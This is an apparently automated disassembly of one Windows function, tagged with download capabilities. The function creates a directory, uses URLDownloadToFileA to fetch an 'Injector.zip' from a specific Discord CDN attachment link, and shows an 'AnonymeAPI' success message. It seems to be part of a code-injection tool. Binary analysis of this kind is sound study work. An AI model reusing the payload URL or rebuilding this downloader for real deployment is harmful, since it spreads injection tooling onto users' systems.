Function at 0x140002fd0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0xe0
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov rbx, rcx
xor r12d, r12d
mov rsi, qword [rcx + 0x10]
mov rdi, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140003015
mov rdi, qword [rcx]
call fcn.14000970c
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rsi
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140001c40
nop
mov qword [rsp + 0x70], r12
lea rax, [0x1400130a8]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140002b80
cmp dword [rsp + 0x70], 0
jne 0x1400034e6
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400030a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a520
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc0], xmm1
mov r8d, 0xb8
lea rdx, str.https:__cdn.discordapp.com_attachments_1075151196098134016_1252691386092752946_Injector.zip_ex66732344is6671d1c4hm9f221e44fe6bc24c23664fda83bb81c40daaf961d91512c10aec584be7340c95
lea rcx, [rsp + 0xb0]
call fcn.140005ba0
nop
mov r14, qword [rbx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xd
jb 0x1400034fd
cmp qword [rbx + 0x18], 0xf
jbe 0x140003100
mov rbx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r12
lea r15, [r14 + 0xd]
mov edi, 0xf
lea rsi, [rsp + 0x90]
cmp r15, rdi
jbe 0x1400031af
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000316d
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000a0f0
test rax, rax
je 0x140003449
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400031a7
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140003195
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003502
jmp 0x14000314e
test rcx, rcx
je 0x1400031a4
call fcn.14000a0f0
mov rsi, rax
jmp 0x1400031a7
mov rsi, r12
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], rdi
mov r8, r14
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._Injector.zip]
movsd qword [rsi + r14], xmm0
mov eax, dword [0x14000c8e8]
mov dword [rsi + r14 + 8], eax
movzx eax, byte [0x14000c8ec]
mov byte [rsi + r14 + 0xc], al
mov byte [rsi + r15], 0
lea r8, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova r8, qword [rsp + 0x90]
lea rdx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 0xf
cmova rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140003508
mov rdi, qword [rsp + 0xa0]
lea rbx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rbx, qword [rsp + 0x90]
call fcn.14000970c
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140001c40
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rcx, qword [rsp + 0x30]
call fcn.140009da0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140003524
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400032f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a520
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0xa
lea rdx, str.AnonymeAPI
lea rcx, [rsp + 0x30]
call fcn.140005ba0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov r8d, 0x2b
lea rdx, str.Injector_directory_downloaded_successfully_
lea rcx, [rsp + 0x70]
call fcn.140005ba0
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r8, qword [rsp + 0x30]
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rdx, qword [rsp + 0x70]
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x1400033b8
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a520
movdqa xmm0, xmmword [0x14000d110]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000340f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003409
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003409
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a520
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0xf
jbe 0x140003455
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003450
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003450
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a520
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], 0xf
mov byte [rsp + 0x90], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0xf
jbe 0x1400034b8
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a520
nop
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.14000a0d0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
lea rcx, str.create_directories
call fcn.140002a10
nop
call fcn.140001390
call fcn.1400012f0
nop
lea rcx, [rsp + 0x58]
call fcn.1400013b0
lea rdx, [0x1400107d0]
lea rcx, [rsp + 0x58]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
shr rdx, 0x20
lea r8, [rsp + 0x30]
call fcn.140002940
int3